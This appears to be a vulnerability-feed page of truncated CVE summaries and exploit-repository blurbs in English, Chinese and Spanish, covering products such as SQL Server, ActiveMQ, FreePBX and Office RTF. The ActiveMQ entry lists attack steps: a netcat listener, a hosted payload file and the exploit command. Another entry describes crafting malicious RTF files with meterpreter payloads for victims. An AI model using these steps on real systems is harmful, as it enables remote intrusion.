CVE-2026-68828

Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network...

CVE-2026-68775

Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network...

CVE-2026-54611

InstantCMS is a free and open source content management system. Versions prior to 2.18.2 have a Remote Code Execution RCE issue that allows remote authenticated attackers to execute any PHP code via the component installer. It is possible to upload a malicious component into the server, however, ...

CVE-2026-47297

Deserialization of untrusted data in SQL Server allows an unauthorized attacker to execute code over a network...

CVE-2025-57819-exploit

CVE-2025-57819 — FreePBX 预认证 SQL 注入到远程代码执行 针对 CVE-2025-57819 的一体化利用工具，该漏洞是 FreePBX 端点模块中未经认证的 SQL 注入漏洞，可通过 cron 任务注入实现远程代码执行。 CVSS : 9.8（严重）— CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CISA KEV : 2025 年 8 月 29 日添加 受影响版本 : Sangoma FreePBX 15、16、17，且端点模块版本 │ ▼ 向 cronjobs 表进行 SQL 注入...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ 未经身份验证的远程代码执行的 Python 实现 设置与利用 nc -lvnp 4444 - 启动监听器 python3 -m http.server 8080 - 托管包含你 payload 的 poc.xml python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 启动利用...

ASUS-AiCloud-RCE

Origasus origasus.go 编译而成的 Go 程序，用于在授权安全测试或防御分析 （例如：自有设备、软件渗透测试实验室）范围内检查与 ASUS AiCloud / AsusWRT 相关的端点。 重要： 此类软件在未经授权的情况下针对系统使用，在许多国家是非法的 。仅在获得明确许可并在法律框架内运行。请勿在生产环境或第三方网络中未经授权进行扫描/利用。 背景 源代码头部注释中列出的相关参考信息（例如：CVE-2025-2492、CVE-2024-12912、CVE-2025-59366 以及厂商安全公告）可用于安全补丁和风险评估。该程序的目的是帮助安全研究人员和防御团队识别和...

PicusSecurity4.Week.Repo

githubRepo 针对 follina 漏洞 CVE-2022-30190 : CVE 0-day MS Offic RCE 又名 msdt follina...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE 漏洞利用...

CVE-2017-0199

CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 是一个方便的Python脚本，提供了一种快速有效的方式来利用Microsoft RTF RCE。它可以生成恶意RTF文件，并在无需复杂配置的情况下向受害者传递metasploit / meterpreter载荷。 发布说明： 为脚本引入了以下功能： 使用工具包生成恶意RTF文件 以微型HTA + Web服务器模式运行工具包进行利用 版本: Python 2.7.13 示例： 步骤1：使用以下命令生成恶意RTF文件并发送给受害者 语法： python...

CVE-2020-15568

CVE-2020-15568 Un POC rápido y sencillo para CVE-2020-15568. No probado, pero basado en la información encontrada aquí: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...

PoC-CVE-2017-3881

PoC-CVE-2017-3881 PoC de ejecución remota de código en Cisco Catalyst Este repositorio contiene el código de prueba de concepto para explotar la vulnerabilidad de ejecución remota de código divulgada por Cisco Systems el 17 de marzo de 2017 -...

PoC-CVE-2017-0199

PoC-CVE-2017-0199 Kit de explotación para la vulnerabilidad RCE de Microsoft RTF. Acerca de esta vulnerabilidad: https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...

CVE-2024-47076

CUPS Common UNIX Printing System, el sistema de impresión de sistemas Linux y Unix, es un servicio relacionado con la gestión de impresión y la distribución de tareas entre dispositivos en estos sistemas. Se ha revelado una vulnerabilidad de seguridad denominada CVE-2024-47076 en este servicio...

CVE-2026-5364

CVE-2026-5364 CVE-2026-5364 是一个 CVSS 8.1（高危）未认证任意文件上传漏洞，存在于 Drag and Drop File Upload for Contact Form 7 插件中。 CVE-2026-5364 — CF7 拖放文件上传 RCE 通过sanitizefilename 绕过实现未认证任意文件上传 CVSS 8.1（高危） | 受影响：= 1.1.3 | 已修复：1.1.4 📋 概述 字段| 值 ---|--- CVE ID| CVE-2026-5364 插件| Drag and Drop File Upload for Contact...

EUVD-2026-74023

In multiple functions of ftsmooth.c, there is a possible memory safety issue due to improper casting. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...

CVE-2026-58822

CVE-2026-58822 affects Android , specifically multiple functions in ftsmooth.c , where improper casting introduces a memory safety issue that can lead to remote code execution without additional privileges or user interaction. The vulnerability is rated CVSS 9.8 (CRITICAL) with a vector of AV:N/A...

CVE-2020-14883

CVE-2020-14883 Oracle WebLogic Server 认证远程代码执行 RCE Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：控制台）存在漏洞。受影响的支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。该漏洞易于利用，未经身份验证的攻击者可通过 HTTP 网络访问破坏 Oracle WebLogic Server。成功利用此漏洞可导致 Oracle WebLogic Server 被接管。 概念验证 PoC 1： 使用...

CVE-2026-49921

This Android vulnerability (tracked as ASB-A-503554490 in the September 2026 Android Security Bulletin ) is a heap buffer overflow in multiple unspecified locations. It can lead to remote code execution with no additional privileges and no user interaction required, rated CVSS 9.8 (Critical) . Th...

EUVD-2026-74013

In multiple locations, there is a possible memory safety issue due to a heap buffer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...